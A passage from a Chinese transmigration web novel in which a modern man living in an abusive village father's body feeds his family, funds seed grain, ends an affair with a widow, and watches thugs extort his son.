罗灵见丈夫这般反应,也忍不住小尝了一口,随即她的脸上也露出了与**一般无二的惊艳神情,不自觉的加快了进食的速度。
大儿媳赵穗在给所有人盛好饭后,这才端起自己的那一碗吃了起来。
当她吃过第一口红烧肉后,也与其他人一样,迅速沉迷其中,一言不发的埋头干饭。
江河站在一旁,看着孩子们狼吞虎咽的样子,心里既是欣慰又不免泛起了一丝酸楚。
只是一顿普通的红烧肉而已,竟能让这些孩子们吃得如此幸福与满足,仿佛是吃到了什么人间绝味一样。
可见他们以前过得都是什么日子,吃的都是什么猪食。
这可怜见的,难怪一个个的都瘦成了这副鬼样子。
“慢点吃,别噎着了。”江河轻声出言提醒,见几个孩子的碗底空了,便主动拿起勺子又给他们添了些粥。
当然,红烧肉和卤蛋也没有漏下,每个人都又添了满满一碗。
这一次,几个小家伙没有再像之前那样惧怕退缩,一个个双手捧着碗,满眼期待的任由江河拿着勺子给他们添饭添菜。
“谢谢爹!”
“谢谢爷爷!”
江源、江沫儿、江娴、江涛、江夏、江琴,同时开口向江河道谢。
从昨天开始,他们已经连着吃了两顿肉了,而且每顿都能吃得肚皮圆圆,满嘴流油,幸福得不要不要的。
他们又不傻,自然知道这一切都是谁给他们的。
对于这个渣爹(渣爷爷)前后如此巨大的反差变化,他们也都很敏锐的感知到了。
如果说,以前他们的这个渣爹(渣爷爷),只是把他们当成是可有可无的工具或是拖油瓶、赔钱货,对他们动辄打骂,不让他们吃东西,甚至还想要卖了他们去换钱。
那么现在,渣爹(渣爷爷)至少已经把他们当成是人,甚至是亲人一样对待了。
就是不知道这样的幸福待遇他们还能享受多久,不知道渣爹(渣爷爷)突然对他们这么好,是不是想要把他们养胖了之后,再卖出一个好价钱?
第31章 出钱买种粮
给孩子们添完饭后,江河也端起自己的碗美美的吃了起来。
一口红烧肉,一口猪油渣,有点儿腻了,再来一口清淡咸香的青菜瘦肉粥,吃得那叫一个舒爽畅快。
这才是人该吃的饭啊。
穿越过来一天半,他终于能好好的吃一顿“正常”的饭了。
很快。
一碗稀粥,几块红烧肉,一勺猪油渣,外加一颗水晶卤蛋,就全都进了江河的肚子里。
吃完之后,感觉肚子已有七分饱,江河便将碗筷放下,不再多吃。
这是他上辈子所养成的饮食、养生习惯。
吃饭只吃七分饱,无论什么时候,无论再好吃的美味佳肴,他都不会让自己吃撑、吃顶,不会让自己的肠胃时常处于满负荷运转的状态之中。
一是为了自己的身体健康,管理好自己的身材体型。
二则是为了让自己保持最良好的精神状态,不耽误自己的正常工作与学习。
现在他虽然穿越到了眼前这个陌生的世界,拥有了一具更加陌生的身体,但是他并不想改变自己之前所养成的那些生活习惯。
“爹,你咋不吃了?我……我再给你盛一碗!”
见江河只吃了一碗饭就放下了碗筷,没有再继续盛饭的意思,大儿媳赵穗还以为这是爹在不满她没有眼力劲儿,没有主动起身给他添饭,在给她甩脸子呢。
赵穗心中一个激灵,连忙起身来接江河手中的空碗,要给他再添一碗。
毕竟,以前在家里吃饭的时候,也是如此。
每当江河把碗中的稀饭,或是手中的馍馍、面饼吃完,都会让赵穗或是罗灵这两个儿媳妇儿给他添上、续上。
但凡赵穗与罗灵慢上一点儿,江河就会破口大骂,说她们没有眼力架,是废物云云,有时候气恼了,甚至还会直接拿手里的空碗砸人。
现在虽然是在田间地头,一家人席地而坐,看似比在家里时随意了许多。
而且,公公也仿佛是变了一个人,脾气似乎比前好了不少。
但是赵穗却不敢有丝毫怠慢,生怕公公会突然又变回原来的样子,会突然大发雷霆,指着她的鼻子对她破口大骂。
她战战兢兢地伸手去接碗,同时开口说道:“爹,你在这坐着,我这就给您再盛一碗,粥还热乎着呢,菜也还有很多,够吃呢……”
江河一愣,看到大儿媳脸上忐忑不安的神情,随即便明白过来,这又是原身之前作下的孽。
有这样一个不学无术,还特么喜欢不断作妖、想方设法磋磨儿媳的渣公公,真是很难想像,赵穗与罗灵这两个小媳妇儿,这么多年以来究竟是怎么坚持下来的。
翻看原身以前难为两个儿媳的种种记忆片段,简直就是刷新了江河正常的三观认知。
这个家伙,根本就没有把两个儿媳妇当人啊。
平常在家里,什么脏活累活都让两个儿媳去干不说,还特娘的经常不给人吃饭,稍有一点做得不如他的意,他就会直接恶语相向,有时候甚至还会直接拳脚相加。
这做派,这心性,简直要比传说中的“恶婆婆”还要更加恶劣十倍百倍!
也难怪两个儿媳全都这么惧他怕他,几个孙子孙女,也都不敢与他亲近。
这一切,全都是原身自己作出来的啊!
“不用了,我已经吃饱了。”江河轻轻摆手,并未将自己手中的空碗交给赵穗。
赵穗闻言,伸出的右手僵在了半空,脸上写满了不相信与忐忑。
这才一碗粥,几块肉,怎么可能就饱了?
以前在家里时,公公哪顿饭不是要吃上两三碗才肯罢休?
他这哪里是不想再吃了,这分明就是想要借机作妖搞事情,想要找她这个儿媳的麻烦啊!
“爹,您是不是嫌这粥太稀了,吃不饱?”赵穗小心翼翼地问,“要不我再给你掰半张饼子,就着米粥一起吃?”
**和罗灵见状,也不由停下了筷子,同样有些紧张不安地抬头看向这边。
几个孩子也感觉到了眼前的气氛有些不对,抱着手中的大碗,全都不自觉的往后退了退。
看着一家人如临大敌的小心模样,江河心里不禁又是一阵无语。
原身误我啊!
江河在心里又骂了原身一句之后,不由沉下脸色,没好气道:“看什么看,老子都说已经吃饱了,你们是聋了还是怎么的,听不明白人话了是吗?”
“哦,知道了,爹!”
见江河发起了脾气,原本还忐忑不安的赵穗,还有担心渣爹会再闹起来的**、罗灵两口子,全都长松了口气,刚刚提起来的心也缓缓放了下来。
爹都发脾气了,说明他是真的已经吃饱,不想再吃了。
否则的话,他早就拿碗开始砸人,骂大嫂和罗灵没有眼力劲儿,不孝顺,想要饿死他了。
虽然他们也很奇怪,为何平常连粗茶淡饭都能吃上两三碗饭的渣爹,今天看到这么丰盛的午餐,却只吃了一碗就不再吃了。
但是他们全都不敢开口询问探究,只要渣爹不再发脾气,不再作妖找事,他们就谢天谢地,哪里还敢管那么多?
见几人都不再多说什么,江河也不由轻松了口气。
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>果然,这几个孩子都是受虐型人格,不骂他们几句,不对他们发几次脾气,他们反而觉得不自在,觉得忐忑难受了。
虽然这也是原身那个渣爹的锅,但是不得不说,这样在家里说一不二,想发脾气就发脾气,想骂哪个就骂哪个的感觉,还真是挺让人上头的。
过了一会儿。
看**几人都吃得差不多了,江河看了一眼身后的田地,轻声开口向**说道:“老三啊,我看这地你们已经翻整得差不多了,却不见你们播种,可是种粮还没有买到?”
**闻言,脸上的神色不由一暗,道:“爹你忘了,咱家留的种粮,早就已经被你搬到老宅去孝顺爷奶了,现在家里一粒种粮也没有了。”
“我原想着,等今天把地翻整完,晚上去上河村大舅家去问问,看他们还有没有多余的种粮……”
江河了然,甚至都已经再懒得骂原身那个渣崽了,直接摇头道:
“不用去麻烦你们大舅了,现在谁家都不富裕,他们也未必会留有多余的种粮,你就是去了多半也是白跑一趟。”
“这样,我给你两百文钱,待会儿趁着天色还早,你回村借辆推车去一趟县城,直接买些种粮回来就是了。”
什么?!
听了这话,**、罗灵与赵穗三人同时身形一震,猛的瞪大了双眼,简直不敢相信自己的耳朵。
他们爹,竟然主动提出要拿钱买种粮?!
而且一给就是两百文!
这在他们家,可是从来都没有过的大手笔啊!
要知道,以前家里的钱,几乎全都被爹拿去孝敬老宅了。
平常别说两百文,就是两文钱,爹都舍不得花在自己家里,更别说是给**了。
“爹……您、您说的是真的?真要给我两百文钱去县里买种粮?”**激动得声音都在发抖,有些不敢相信的再次向江河询问确认。
“废话!”江河没好气地瞪了他一眼,“老子还能骗你不成?”
说着,他伸手入怀,同时意念一动,从物品栏里取出两百文钱,直接塞到**手里。
“诺,且把这钱收好了,吃完饭后就出发,快去快回,别耽误了播种。”
直到将这沉甸甸的铜钱握在手里,**这才相信自己并不是在做梦。
他爹竟然真的给了他两百文钱,让他去买种粮!
他再也不用担心去舅舅家借不来种粮,还要遭舅妈的冷眼,再也不用担心会耽搁了今年的耕种,影响来年的收成了!
激动之余,他的眼眶不禁一热,眼泪差点儿没有直接掉下来。
第32章 爹真的变了
虽然昨天他亲眼见到老爹从老宅那边要来了一贯钱的巨额赔偿,知道老爹现在很有钱,随便拿出来一些,就可以帮他解决掉家里没有种粮的难题。
但是**却从来都没有想过要打这笔钱的主意。
当然,不是真的不想,而是不敢。
因为按照以往经验,就算是他开口要了,爹也不会给,甚至还有可能会再闹腾一场,狠揍他一顿。
过去十几年一直都是如此,从来都只有老爹向他们要钱,要粮,要各种东西。
但是他们却从来都没有从老爹的手中要回来过一文钱。
每次他们只要一开口,老爹就会大骂他们不孝、忤逆,是养不熟的白眼狼,不想着自己赚钱孝敬老人,反而整天都惦记着老人手中的养老钱,没出息……
这些话,**他们都已经听得耳朵都磨出老茧来了。
一次如此,两次如此,三次四次之后,谁还敢再开口朝这个活爹要钱,是存心给自己还有家里人找不痛快吗?
正是因为如此,现在看到老爹竟然主动拿出了两百文钱来给自己去买种粮,解决了家里现在最紧要也最头疼的问题,**才会觉得出奇的意外与震惊。
很有一种太阳怎么打西边升起来的荒诞感觉。
震惊过后,握着手里这实打实的两百文钱,看着老爹这张熟悉又陌生的面孔,他的心底竟涌现出了一丝他在自家老爹身上,从来都没有感受到过的温情与感动。
“也许……爹真的变了!”
**红着眼睛在心中轻声感叹。
自打磕到了脑袋,“死而复生”之后,他爹似乎就已经变得跟以前不太一样了。
先是跟老宅断亲,再是借故讹了老宅一贯钱赔偿,今天更是还亲自下灶房给他们做了一顿如此丰盛的午饭,现在又如此反常的一下拿出两百文钱让他去买种粮……
这一切的一切,都绝对不是他以前那个渣爹能够做出来的事情!
也许……真让村头的贾郎中给说着了,爹八成是被磕伤了脑子,这才导致醒来之后性情大变,变得跟以前完全不一样了,就像是换了一个人一般。
“只希望,这样的改变能够一直持续下去,再也不要回去以前了……”
**心中默默的念叨着,祈祷着。
相比于以前那个只知道压榨他们、打骂他们的渣爹,他当然还是更喜欢现在这样的老爹,也更加希望老爹现在的转变能够一直持续下去,千万别再恢复到以前。
“谢谢爹!”
**深吸了一口气,努力让自己不哭出来,他把手里的钱细数了数,又从中拿出五十文递还给江河,道:
“爹,买种粮的话,一百五十文差不多就够了。”
“还有,昨天你给我的那四十文钱,付了贾郎中的诊费与药费之后,还剩下二十文,等回到家我就给你!”
这孩子,要不要这么实诚?
爹都把钱送到你的手里了,你竟然还想着要还回来?
这也太老实了,难怪会被他这个渣爹还有老宅那帮人,压着头欺负了这么多年。
江源没有伸手去接**递来的这五十文钱,摆手道:
“多余的钱你自己收着就好,你现在也是大人了,身上多带些钱傍身,有备无患嘛!”
这话说得,让**忍不住又想要掉眼泪。
因为他不自觉的就想到了几天前,他爹为了凑给爷爷过寿的钱,把他身上仅有的几文钱给搜走时说的那些话:
“你一个毛头小子,身上带这么多钱做什么?”
“整天就知道乱花钱,一点都不知道节俭!”
“这些钱老子先替你收着,省得你大手大脚全都给花光了!”
当时他只是小声辩解了一句“这是我攒着买种粮的钱”,就被爹狠狠扇了一巴掌,骂他“翅膀硬了敢顶嘴了,跟你那个二哥一样是个忤逆子”。
天知道他当时的心里有多委屈、多绝望。
可现在,才不过三两天的工夫,爹不但给了他买种粮的钱,竟然主动让他把多余的钱留在身上傍身。
这前后之间的反差实在是太大了,大得让**一时都有些恍惚。
“爹……这……”**握着钱的手微微发抖,不知该不该收回去。
“让你拿着就拿着!”江河有些不耐烦的一瞪眼,高声斥责
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道:“怎么,你现在翅膀硬了,连老子的话都不听了?!”
这熟悉无比的训斥语气,不知为何,此刻听在**耳中却不再像以前那样刺耳、惊惧,反而让他感到了一丝安心与感动。
爹虽然还是那个爹,但是对待他们这些家人的方式,却与之前有了天翻地覆一般的转变。
至少现在的这个爹,是真的把他当成了亲儿子来对待。
虽然也时有斥责甚至叫骂,但是在这些斥责与叫骂之中,他感受到的却是浓浓的爱护与关心之意。
而不是像以前那个老爹那样,只是把他当成了家里的长工与老黄牛,只知道不断的从他这里要钱要物,对他本人还有他媳妇,他膝下的两个女儿,漠不关心。
“哎,我听爹的!我……我这就把钱收起来,爹你放心,我肯定不会乱花钱!”
见江河又朝他瞪了过来,**连忙收敛思绪,把手中的钱收好,揣进了怀里,同时眼眶也不由又变得红润了几分。
罗灵和赵穗在一旁看着,也都悄悄抹了把眼泪。
她们嫁到江家这些年,还是第一次见到公公对儿子这般体贴。
她们也都切身的感觉到,她们的公公真的跟以前变得不一样了!
以前的公公,是绝对绝对不会对他们这么大方,不会让他们身上多留一文钱的私房钱的。
“行了,吃完饭就快去快回。”江河又嘱咐道,“买完种粮就直接回家,别在县城瞎逛。”
“知道了爹!”**重重点头,胡乱的将碗里剩下的几口饭菜扒拉完,便转身往村里跑去,脚步轻快得像是要飞起来。
看着**远去的背影,江河心里也轻松了口气。
既来之,则安之。
既然他现在已经是这几个孩子的爹和爷爷了,他就要尽快融入到这个角色中去,要尽快得到这些最亲近之人的认可与拥戴。
否则,若是没有这几个孩子的拥护与认可,就他这两天的异常表现,以后若是被外人污蔑成是什么脏东西附体、借尸还魂之类的邪祟之物,在这个封建且愚昧的古代社会,可是真有可能会被直接架到火上活活烧死的。
第33章 这样的爹,其实挺好
**离开之后,赵穗、罗灵、江源还有其余几个孩子,飞快的把碗里的饭菜全部吃光。
之后江沫儿一声招呼,带着四个侄子侄女儿到旁边的树荫下继续编草帽儿去了。
江源一声不吭,到田里去清理爬犁,为接下来的活计做准备。
赵穗与罗灵把所有的碗筷全都收拾起来,与陶罐及空菜盆一起,放进了之前的布兜里,然后随手放在空旷的地头,等到下工之后再带回家刷洗。
“爹,你先在这歇着,我和大嫂还有四弟,去地里把剩下的活计干完。”
罗灵小心翼翼的走到江河跟前,开口说道:
“爹要是觉得没意思,或是身体不舒服,不妨回家再多躺一会儿。”
若是之前,罗灵是绝对不会主动过来开口跟公公搭话的,生怕会一句话说得不对,就遭公公破口大骂。
但是现在,尤其是刚刚看到公公竟主动拿钱出来给她家男人去买粮种,算是解决掉了压在他们一家心头的大问题。
罗灵心中感激,同时也觉得自己现在的这个公公,似乎变得跟以前不一样了。
所以她才会大着胆子,主动过来跟江河说话。
看着这丫头怯怯懦懦的样子,江河面色温和的冲她微微点了点头。
罗灵的提议正合他的心意,地里的活计他是一窍不通,下地帮忙的话估计只会越帮越忙。
当然,更重要的是,他这两天的表现已经有些过于异常。
若是现在再主动下地帮忙干活的话,怕是眼前这几个孩子都要怀疑他是不是被脏东西附体了。
于是他就顺势站起身来,淡声向罗灵及赵穗说道:
“那好,我且回去歇着,地里的活忙活完了你们就赶紧回来,晚饭还等着你们回来做呢。”
说完,他压下了想要把赵穗刚刚放在地头的那些碗筷顺便带回的心思,就这样头也不回的直接走向村头。
赵穗与罗灵站在地头,神色复杂看着江河远去的背影。
“大嫂,你有没有觉得,爹跟以前好像……完全不一样了,就好像是完全变了一个人一样?”
罗灵小声的开口向赵穗说道:
“我之前听村里的老人说,这世上好像有一些邪祟可以借尸还魂,桃代李缰……你说爹会不会是……?”
“呸呸呸!”
赵穗忍不住朝着地上轻啐了两口,之后也拉着罗灵朝地上连啐了几下,没好气道:
“你这死妮子,瞎说什么呢!这世上哪有什么鬼怪邪祟,那都是说书的编故事吓唬人呢!”
“昨天贾郎中不是都说过了吗,爹是因为磕到了脑袋,损伤了神魂,这才会一时间之间性情大变,肯定不是什么邪祟!”
罗灵闻言,仍心有疑虑道:“可是……可是前天晚上,爹他明明都已经断了气了,大嫂你不是也亲手试探过吗?”
“一个已经断气一整夜,身体都变得冰凉的人,怎么可能还会再活过来?这样的死而复生,怎么看怎么像是……”
罗灵的话还没有说完,就被赵穗一把给捂住了嘴巴:“老三媳妇,你疯了不成,这话你也敢胡乱说出口?”
“先不说你这话没有半点根据,就算是说出去了,也不会有人相信。”
“就算是……就算是爹真的被什么东西给借尸还魂了,那你现在告诉我,你是更愿意侍奉现在这样的公爹,还是以前那样的公爹?”
说这些话时,赵穗的声音不自觉的压得更低,几乎是趴在罗灵的耳朵边轻声说道:
“难道,你还想要回到以前那样,每天被公爹欺压打骂,连饭都吃不饱,还要累死累活的干那么多活计,手里连一文钱都存不住的日子?”
“刚才你可是也看到了,爹可是一下给了**两百文钱,哪怕明知道给得多了,也没有再要回来的意思,让**留着贴身零花。”
“你自己说说看,这样的事情若是放在以前那个公爹的身上,可能会发生吗?”
罗灵无言的果断摇头。
以前那个公爹莫说是给他们钱了,每天不从他们身上挤走几文钱,都会给他们甩脸子,找麻烦,大骂他们是废物,是不孝子孙。
大嫂说得不错,相比于以前那个不学无术,还动不动就作妖的渣爹,眼下这个疑似被邪祟附体的公爹,似乎更容易被他们接受。
“所以,我才不管他到底是邪祟附体,还是真的伤了脑子,变了性情。”
赵穗的语气之中带着一丝决然,定声说道:
“只要
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他能让咱们一家越过越好,让我的一双儿女平安长大,好好活下去,哪怕……哪怕他真的是从地狱里爬出来的恶鬼,我也认他是咱们的公爹!”
听到大嫂这近乎癫狂的言语,罗灵瞬间沉默了下来。
是啊。
情况就算是再糟还能再糟到哪里去呢?
他们之前的那个家,已经被公公给折腾得马上就要散了,孩子们也一个个的全都饿得皮包骨头,眼见着就不成了人形。
若是日子再那么继续下去,若是明年的光景还跟今年一样,他们家真的会饿**!
而现在呢。
自打公公死而复生之后,才短短两天的时间,他们家里原本死气沉沉的气氛就为之一变。
与老宅彻底断了亲,还从爷奶那里讹了一大笔钱。
更重要的是,公公也不再似以前那么抠搜小气,凡事光顾着自己和老宅那边了。
不说别的,以前的公公肯定不会舍得拿出两百文钱来给**去买粮种,更不会舍得让孩子们连着两天吃上肉和鸡蛋。
回头看了看几个孩子脸上纯真且满足的笑容,还有他们依然瘦骨嶙峋的弱小身形,罗灵的心中也瞬间就有了决断。
“大嫂你说的对,只要他能让咱们家的日子越过越好,让家里的孩子们都平安长大,好好活下去,他就一直都是咱们的公爹。我……我也愿意继续孝顺侍奉他,给他养老送终!”
见罗灵想通了,赵穗面上的神色一松,目光与罗灵对视了一眼之后,二人不由相视一笑,心中都觉得轻松了许多。
这时江源清理完爬犁回来,见两个嫂子神色有异,似在说什么悄悄话,不由凑过来好奇问道:
“大嫂、三嫂,你们在说什么呢?”
赵穗连忙收敛神色,轻笑道:“没什么,就是在说爹这两天的变化可真大,似乎更加通情达理,也知道关心人了。”
江源闻言也深有感触地点点头:“是啊,我都快不认识爹了,不过……”
他犹豫了一下,压低声音接着说道:“我感觉这样的爹,其实挺好的。”
这句话可谓是直接说出了三人的心声。
不管江河是因为什么改变的,只要这改变是好的,他们就愿意接受。
第34章 赵寡妇的邀请
江河独自一人走回村里,路上遇到的村民皆都对他避如蛇蝎,隔着老远便提前躲开。
搞得江河想要找人聊聊天,趁机扭转一下自己在村民们心中的不堪形象,都没有机会。
原身误我啊!
江河忍不住又在心里非议了原身一番。
能够在自己从小长大的老家,把自己混成这样一个人憎狗厌,谁都不愿意主动搭理的二赖子,丫也真是个人才。
“大郎,你这是做什么去了?来来来,奴家在家里备好了酒菜,快过来陪奴家喝上两杯!”
路过村西头赵寡妇家门口时,赵寡妇突然从门里探出头来,一边招着手,一边挤眉弄眼的邀请江河到家里吃酒。
“这……”
江河的身形一顿,脑子里面瞬间就浮现出了原身以前跟赵寡妇之间的那点儿羞羞的事情。
尼玛!
若不是看到这个赵寡妇当面,他差点儿都忘了,原身在村子里面还有两个与他长期保持着亲密友好关系的寡妇骈头。
一个是村西头的赵寡妇,一个是村北头的孙寡妇。
全都是年纪轻轻就**男人,家里的孩子尚小,又没有老人帮衬,日子过得极为穷苦的可怜女人。
为了能带着孩子在村子里活下去,赵寡妇与孙寡妇便先后在原身的威逼利诱之下,委身给了原身,成了原身暗地里的骈头。
为了让这两个骈头乖乖听话,好好的服侍他,原身不时就会往两家送些面粉、粟米之类的吃食,有时也会直接给些铜钱。
现在想来,江家的十几个儿孙之所以会过得一年不如一年,一日不如一日,全都饿成了皮包骨的可怜样子,并不止是因为他们的渣爹会时常把家里的钱财和粮食送往老宅那边。
他们怕是做梦都想不到,他们的渣爹拿着他们一年到头辛苦赚来的钱和粮食,除了要供养老宅一家之外,还在偷偷的供养着他在外面养着的两个骈头!
这……
这个江河,也忒不是东西了!
老子都羞于与他同名同姓同用一个身体!
若不是实在是没有办法,他都想要直接再穿回去了!
原身给他留下的这个烂摊子,他是真的不想再管了,太踏马心累了。
做为一个思想成熟、三观正常的现代人,江河倒是并不反对已经丧偶的原身在外面找女人。
成年人嘛,而且还是一个鳏夫,难免会有一些空虚寂寞冷的时候,想要找个知冷知热的女人了以慰藉,无可厚非。
但是……你要找也赖好去找两个能看得过眼、下得去嘴的优质粮草啊。
像是眼前这个赵寡妇,还有村北头的那个孙寡妇,要脸蛋没脸蛋,要胸脯没胸脯,要细腰没细腰,要大长腿没大长腿。
除了屁股分外的肥大挺翘之外,几乎没有一点儿是长在他江某人的审美上的。
江河就算是想要接原身的班儿,跟这两个骈头再续前缘,他也下不去那个嘴啊!
看着赵寡妇那张布满风霜的脸,还有那身打满补丁的粗布衣裳,以及粗壮得犹如男人一般的大骨头架子,江河心里不由一阵无语。
对于原身这般独特的口味与爱好,他实是难以苟同,更接受不了半点儿。
想要让他跟这样的女人滚床单,还不如直接杀了他来得痛快。
赵寡妇见江河站在原地不动,还以为他是在顾忌什么,连忙压低了声音道:
“大郎放心,我家那俩小子都被我打发去捡柴火了,一时半会儿回不来……”
这话说得,更是让江河浑身不自在,他连忙摆手道:“不必了,我家里还有事儿,我得马上回去了。”
说完,他几乎是落荒而逃,生怕赵寡妇再纠缠上来。
赵寡妇见状,直接就愣在了当场,显是没有料到江河竟会是这个反应。
往常只要她招招手,随便抛个媚眼儿,江河这狗东西马上就会像条哈巴狗一样巴巴的凑过来,围着她打转,今天这是怎么了?
怎么感觉像是换了一个人,竟对她没有半点儿兴趣了!
“大郎,你慢些走,奴家找你有事商量……”
眼见着江河就要走远,赵寡妇再顾不得什么矜持,竟直接从院子里走出来,三两步就拦在了江源的身前。
“大郎,你急什么呀,我又不会吃了你!”
“家里的酒菜我已经备好多时了,就等着你过来一醉方休呢,你真的不跟我回去喝一杯?”
“我真有事,不太方便。”江河果断摇头拒绝:“二毛嫂子,你要是没其他事的话,我真得走了。”
赵寡妇的男人叫王二毛,平时在村里头,大家都称她为二毛媳妇或是二毛嫂子。
江河不想跟她再有更深的牵扯,便直接这样随大流的称呼了起来。
“二毛嫂子?!”
听到这个称呼,赵寡妇面上的神色一变,满眼愤怒与幽怨的看
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着江河道:
“江河啊江河,你还真是一点儿情面都不讲,一如既往的混蛋加无赖啊。”
“以前跟人家瓜田李下滚床单的时候,叫人家小可爱,恨不得天天把人家搂在怀里。
现在好了,你兜里有钱了,财大气粗可以去找更好的了,就开始叫人家二毛嫂子了!”
“我不管,我家幺儿明天要入私塾,还差一百文钱的束脩,你以前答应过我的,必须得马上给我!”
果然。
江河的眼中闪过一丝明悟。
这个赵寡妇之所以会主动过来招惹他,也是盯上了他昨天从老宅讨来的那笔钱了。
什么儿子读书要交束脩,不过全都是借口罢了,江河可不记得原身曾经答应过给她一百文钱。
不过,好在这个赵寡妇还不算贪心,并没有狮子大开口,一百文钱还算在江河的可承受范围之内。
“二毛嫂子,以前的事情都已经过去了,以后就莫要再提了。”
江河正色看向赵寡妇,道:
“你要的那一百文钱,我晚一会儿会给你送来。不过,从此以后咱们就算两清了,你以后都莫要再来找我了。”
“记得,千万别想着跟我耍赖,真要是不讲理的话,你肯定赖不过我!”
说完,江河头也不回地大步离开,留下赵寡妇一脸错愕地站在原地。
她算是看出来了,这个狗男人,竟然是真的想要跟她彻底断了。
果然,这天底下的男人全都不是好东西,没有一个能靠得住的!
不过,能最后再从江河这里得来一百文钱的补偿,她也不算亏。
至少接下来的这个年关,她与两个儿子的口粮算是有着落了。
江河快步走出了老远,见赵寡妇没有再追来之后,才算是长松了口气,心里暗骂原身真不是东西,而且还特娘的一点儿也不挑食。
就赵寡妇那模样,放在现代怕是连广场舞大妈都比她水灵,丫也能下得去口,真是服了。
“看来,真的得尽快跟这两个寡妇断了关系了,不然以后定是会麻烦不断。”
江河有些头疼的抬手揉了揉自己的脑袋。
万没想到,他穿越过来之后,不但要应付老宅里的那一群白眼狼,要安抚家里突然多出来的这十几个儿孙。
现在,更是还要去替原身处理他与那两个骈头之间遗留下来的孽缘情债。
这特娘的都叫什么事儿啊!
第35章 英雄救子
江河一脸郁闷的回到家,刚到家门口,就看到**正被两个中年男人堵在院门前。
**手里推着刚从邻居家借来的独轮推车,几次想要冲破二人的阻拦,都被强行拦了下来。
又出幺蛾子了!
他就说,刚刚怎么没有看到**出村子,原来是被人给堵在家门口了。
江河心中一阵无言,不过还是快步走了过去。
靠近之后,看到拦在**身前那二人的相貌,江河瞬间就辨认出来。
这特娘的不就是原身记忆之中出现最多的那两个狐朋**吗?
高些壮些的那个叫王铲,矮些胖些的那个叫王能,与江河一样,全都是村子里出了名的二赖子。
三个人因为臭味相投,经常聚在一起喝酒、**、打架斗殴。
只不过,每次喝酒,几乎都是原身这个冤大头掏的酒钱。
每次**,几乎都是原身这个猪头留下来扛的事。
他把人家当兄弟,人家却把他当饭票与替罪羊。
而更可笑的是,原身非但不觉得这有什么不妥,还一直说兄弟之间就当如此。
兄弟们来找他喝酒平事,那是看得起他,他若是计较太多,还算什么兄弟?
听听听听,这特娘的是人言否?
这要是没有个十年脑血栓,正常人谁能说出这么奇葩的言论来?
说是蠢货都特娘的高抬他了,毕竟就算是傻子也能分辨得出谁对他好谁对他孬,也知道护食,知道把好东西揣进自己兜里。
可原身这个傻叉,整个就是一冤大头,不止不识好歹,还特娘的不辩忠奸,不明是非,不知所谓……
算了,不说了,每次提起这个傻叉他就来气。
若不是他现在穿越在了这个傻叉的身上,没有半点办法,江河怎么都不会跟这样的蠢货有半点儿交集。
现在,王铲、王能这两个家伙找上门来,多半是与那赵寡妇一样,听说他昨日得了一贯钱的外财,过来寻他打秋风来了。
果然,还是老话说得好啊。
财不外露,露则灾祸自来。
看看,他这才得了一贯钱,就被一圈的人给惦记上了。
若是以后他发达了,有了更多的钱,有了更多让人眼馋的生活物资,这些人还不得眼红的想要把他给吃干抹净了?
江河没有直接过去为**解围,而是从旁边的小道绕了一圈,悄悄的靠近院门处,隔着几米远的位置,隔空观瞧。
他想要看看,**这小子在独自面对这样的不利状况时,会选择如何应对。
同时,他也想要趁着这个时机,给自己创造一次英雄救子的机会。
毕竟,他想要真正的拉近与**之间的父子感情,光是给钱给物,其实还是远远不够的。
所以他便想要趁着这个机会,在**受人欺辱,孤苦无依,求援无门,倍感无助的时候,突然从天而降,为子出头。
把欺负**的这两个王八蛋乱拳打倒,恰到好处的彰显出自己这个当爹的威武雄壮的英雄气势,以及对儿子的拳拳爱护之情。
这样的套路虽然老了点儿,但是架不住它有用啊!
就像是英雄救美一样,只要好感度刷满了,什么样的美人拐不走?
“**,别怪当叔叔的欺负你,今天你只要拿出五十文钱来,请两位叔叔吃顿酒,我们就放你过去……”
“就是,小**,我们可是你的叔叔,是你爹的兄弟,你这个做晚辈的出点儿钱孝敬孝敬我们,不是理所应当的么?”
“别告诉我你身上没钱啊,刚刚你去王老四家借车的时候我们都听到了,你要去县里买粮种,身上怎么说也得有一两百文的现钱。
我们也不贪心,只要你拿出五十文来,我们立马就走……”
走得近了,江河才听到三人之间的对话。
说是三人之间的对话,其实基本上都是王铲与王能这两个家伙在威胁**。
**这小子本就胆小怕事,每次遇事都哭唧唧的让人看不起。
江河原以为,这一次**独自一人面对王铲、王能这两个无赖的威胁与逼迫,他很快就会屈膝服软,乖乖掏出五十文钱来破财免灾。
毕竟,江河之前给他的那两百文钱中,刨去买粮种的花销外,确实还有五十文的富余,就算是拿出来,也不会影响他去买粮种。
而江河要等的时机,就是**受不住压力,掏钱给王铲与王能的那一刻。
依着他对王铲、王能这两个坏胚的了解,他们肯定不会满足于只拿五十文。
一旦**选择了妥协,选择了要破财消灾,他们只会更加的得寸进尺,把**身上所有的钱全都抢了去。
然而出乎江河意料的是,**这小子,这一次却表现得异常坚决。
他死死护着怀里的钱袋,声音虽然发颤,却毫不退让:“两位叔叔,这钱是我爹给我去买粮种的,一文都不能少!”
王铲闻言,脸色顿时阴沉下来,厉声道:“好你个**,倒是长胆子了,连你爹的兄弟都敢顶撞了?”
“识相的就赶紧把钱拿出来,千万别逼老子发飙对你动手啊!”
说着,王铲就把手伸向**,似要搜身强抢。
**吓得身形往后一缩,避开了王铲的双手,依然倔强无比地护着怀中的钱袋,声音略带乞求的向王铲说道:
“铲叔,这钱真的不能动,不然买不了粮种,种了不粮食,我们全家明年都要饿肚子了!”
“饿肚子?”王能嗤笑一声,“你爹昨天刚得了一贯钱,还能让你们饿肚子?少特么在这里跟我们装穷!”
说着,王能也上前一步,与王铲配合着,前后夹击,把**给围了起来。
然后趁着**
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慌张不留神的空当,王铲飞快上前,一把揪住**的衣领,唾沫星子几乎喷到他脸上:
“小兔崽子,给你脸了是吧?今天这钱你给也得给,不给也得给!不想挨揍的话就自己乖乖把钱掏出来,不然就别怪老子对你不客气!”
王能在一旁阴恻恻地帮腔:“就是,你爹平日里可没少花我们的钱,现在让你反过来孝敬孝敬我们怎么了?就当是替你爹还债了!”
**被勒得有些喘不过气,却还是死死护着钱袋:“铲叔,这真是买粮种的钱,不能动……我们全家就指望这些钱过日子呢,你不能……”
“放**屁!”王铲一巴掌扇在**的左脸上,厉声道:“你爹昨天刚讹了一贯钱,当老子不知道?五十文钱对你们家来说算个屁啊!”
王能也跟着在后面推搡**:“小兔崽子,少在这装可怜!赶紧把钱交出来,不然今天让你吃不了兜着走!”
从始至终,二人都没有真正的直接上手去抢**怀里的钱袋,而是不断逼迫着**,主动把钱掏出来,送到他们的手中。
这样,他们就不算是**,也不怕**会事后报官。
